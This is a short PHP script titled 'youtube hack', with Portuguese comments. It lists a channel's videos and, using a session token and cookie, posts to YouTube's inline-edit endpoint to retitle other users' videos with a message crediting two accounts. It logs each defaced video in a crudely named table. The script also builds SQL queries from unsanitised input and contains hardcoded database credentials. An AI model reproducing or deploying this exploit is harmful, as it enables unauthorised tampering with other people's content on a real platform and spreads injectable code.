youtube hack

<?
// pog feito corrido...
    @mysql_pconnect('localhost', 'migueltarga', 'youtubegothacked') or die ('Erro de banco de dados.');
    @mysql_select_db('youtube');

function cURL($cookie,$post){
   if($ch = curl_init()){
      curl_setopt_array($ch,
         array(
            CURLOPT_URL => "http://www.youtube.com/watch_inlineedit_ajax",
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_COOKIE => $cookie,
            CURLOPT_CUSTOMREQUEST => ($post)?"POST":"GET",
            CURLOPT_POSTFIELDS => $post
         )
      );
   $ex = curl_exec($ch);
   curl_close($ch);
   unset($ch);
   }
   return $ex;
}


if (isset($_GET["canal"])){
    if (isset($_GET["c"])){


        $cookie = "meucookie";
        $msg=rawurlencode("@migueltarga e @saadzim_ Amaram seu video *-*!");
        $token=rawurlencode("hWKIVeQYH2X6uVs_sa234YOrSoN8MA==");
        $postage = "field_myvideo_title=$msg&session_token=$token&video_id=".$_GET["c"]."&action_save_video=1&ignore_broadcast_settings=0&field_current_still_id=2";
        $p=cURL($cookie,$postage);
        if (preg_match("/Video details have been updated/",$p)){
        mysql_query("INSERT INTO vagina (vid) VALUES ('".$_GET["c"]."')");
        }else{
        echo $p;
        }
    }
    $url='http://gdata.youtube.com/feeds/api/users/'.$_GET["canal"].'/uploads';
    $yt=simplexml_load_file($url);

    foreach($yt->entry as $video){
        preg_match("/v=([\d\w-_]+)/",$video->link['href'],$vid);
        $res = mysql_query("SELECT vid FROM vagina WHERE vid = '".$vid[1]."'");
        if (mysql_num_rows($res) < 1) {
            echo "Id: ".$vid[1]."( <a href='?c=".$vid[1]."&canal=".$_GET["canal"]."'>Gostei!</a> ) </br>";
        }else{
            echo "Id: <a href='http://www.youtube.com/watch?v=".$vid[1]."' target='_blank'>".$vid[1]."</a> ( <b>Já vi, e gostei muitu! *-* </b>) </br>";
        }
    }
}else{

?>
<FORM ACTION="opa.php" METHOD="GET">
    <p>
        <strong>Canal:</strong>
        <input name="canal" type="text" id="canal">
        <br>
        <input type="submit" name="Submit" value="Enviar">
        <br>
    </p>
</FORM>
<?
}
?>